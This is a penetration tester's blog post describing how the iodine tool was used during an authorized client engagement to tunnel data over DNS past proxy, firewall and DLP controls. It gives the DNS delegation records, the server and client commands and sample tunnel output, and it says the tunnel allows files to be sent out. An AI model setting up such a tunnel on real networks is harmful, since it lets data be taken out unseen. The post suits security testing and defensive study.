Archive for October, 2010

Data Exfiltration with Iodine

 

Recently I was working on a project with Nate where we were trying to circumvent our client’s internal network controls in order to send “sensitive” data out of the company via the Internet. While our client’s internal network controls weren’t the absolute best we’d ever seen, they were pretty close. Proxy with SSL termination, strong outbound FW rules, and your choice of the latest and greatest technologies aimed at preventing data exfiltration (DLP, IPS, etc.) were between us and our objective. After banging our heads against the wall, we remembered tinkering with DNS tunneling a couple of years back. A quick Google search led us to the iodine tool. iodine allows you to tunnel IPv4 data through a DNS server, provided you have access to a preconfigured server running the iodine daemon. We quickly tested our client’s internal DNS configuration by performing a NSLOOKUP of a random hostname (iodinetest) against one of our wildcarded domain names (stratumsecurity.com). When we received the expected response, we knew we may be in luck. The most time consuming part of setting up iodine is the configuration of your DNS servers. In order to get iodine working, you need to setup a new subdomain, such as tunnel.stratumsecurity.com, and delegate DNS requests for the subdomain to your external host running iodined (iodinens.stratumsecurity.com). To set this up in BIND, you would simply enter the following into your configuration:

iodinens     IN     A      X.X.X.X
tunnel       IN     NS     iodinens.stratumsecurity.com.

Fortunately for us, we were packing a Virgin Mobile MiFi, so we quickly installed the iodine package on one of our external boxes (sudo apt-get install iodine in Ubuntu) while we waiting for the DNS to propagate. You also need to setup any firewall(s) you may have infront of your external server, such that 53/udp is forwarded to the server that will run the iodine daemon (and was also delegated control of your tunneling subdomain). After we confirmed that our DNS was properly setup and responding, we fired up the iodine daemon on our external server by issuing the following command:

sudo iodined -f -c -P sharedsecret 192.168.99.1 tunnel.stratumsecurity.com

A handy little utility provided by the iodine authors allows you to test your DNS, firewall, and iodine setting all in one. The utility is available at http://code.kryo.se/iodine/check-it/. We tested our configuration by entering tunnel.stratumsecurity.com into the textbox, and having the utility confirm our settings. When testing your server using this utility, make sure you do NOT set a shared-secret password or else it will not work. Simply remove the -P and the shared-secret from the above command and it will work as expected.

iodine Check-It

Once we knew the DNS, firewall, and server were all working properly, it was time to focus on the client. On the Windows XP system we were running, we installed the Win32 binaries and configured the TAP32 interface as described in the README. We had to download an additional set of drivers from OpenVPN to setup the TAP32 interface. The drivers are available here. While version 0.6.0-rc1 of iodine is the latest as of this post, it is recommended that you run the same version of the client as you do the server. The Ubuntu package we installed from the repository was version 0.5.1, so that is the version of the client we installed on our Windows XP box. Make sure you remember to rename the TAP32 interface to ‘dns’ or it will not work.

TAP32 iodine Interface

Now that the TAP32 interface was properly configured, running iodine is as simple as entering the following into the CLI:

iodine.exe 192.168.1.5 tunnel.stratumsecurity.com

If you can communicate directly with DNS servers residing on the Internet, then you do not need to input the local DNS server’s IP address. However, in our case all of our DNS queries first went to local DNS servers, and were then passed on to forwarding server. As such, we had to tell iodine to use the internal DNS server we were provided with via DHCP, 192.168.1.5, via the first argument. To determine if you can query DNS servers residing on the Internet directly, run NSLOOKUP and set the server to OpenDNS (208.67.220.220). In Windows, that would be,

C:\>nslookup
Default Server:  ns1.work.lan
Address:  192.168.111.5

> server 208.67.220.220
Default Server:  resolver2.opendns.com
Address:  208.67.220.220

> stratumsecurity.com
Server:  resolver2.opendns.com
Address:  208.67.220.220

Non-authoritative answer:
Name:    stratumsecurity.com
Address:  96.30.23.178

If you receive a response to the ‘server 208.67.220.220’ command that is not a timeout, you can communicate directly with DNS servers residing on the Internet. Otherwise, you are most likely forced to use Internal DNS servers. Once you execute the command, and enter your shared-secret password when prompted, you should see something akin to the following:

Opening device \\.\Global\{A6F38920-A0E1-41B6-B57B-EE75005AA49F}.tap
Opened UDP socket
Opened UDP socket
Opened UDP socket
Version ok, both using protocol v 0x00000500. You are user #0
Enabling interface 'dns'
Setting IP of interface 'dns' to 192.168.99.2 (can take a few seconds)...
Ok.
Switching to Base64 codec
Server switched to codec Base64
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.1152 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.960 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.864 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.816 not ok.. 792 ok.. 804 ok.. will use 804
Setting downstream fragment size to max 804...
Sending queries for tunnel.stratumsecurity.com to 192.168.1.5
Windows version does not support detaching

Now go ahead and open up another CLI and try pinging your server’s IP, 192.168.99.1. You should see something like,

Pinging 192.168.99.1 with 32 bytes of data:
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=101ms TTL=64
Ping statistics for 192.168.99.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 101ms, Maximum = 103ms, Average = 102ms
Believe it or not, you are all set. Now that you have a tunnel back to your remote server, you can do whatever you please. Send/receive files, setup a proxy, anything. Not too bad for not having any direct access to the Internet! Needless to say our client was very interested in this exfiltration method.
P.S. - iodine is named iodine for IP-over-DNS and because iodine is the 53rd element on the periodic table (53/udp and 53/tcp are standard DNS ports).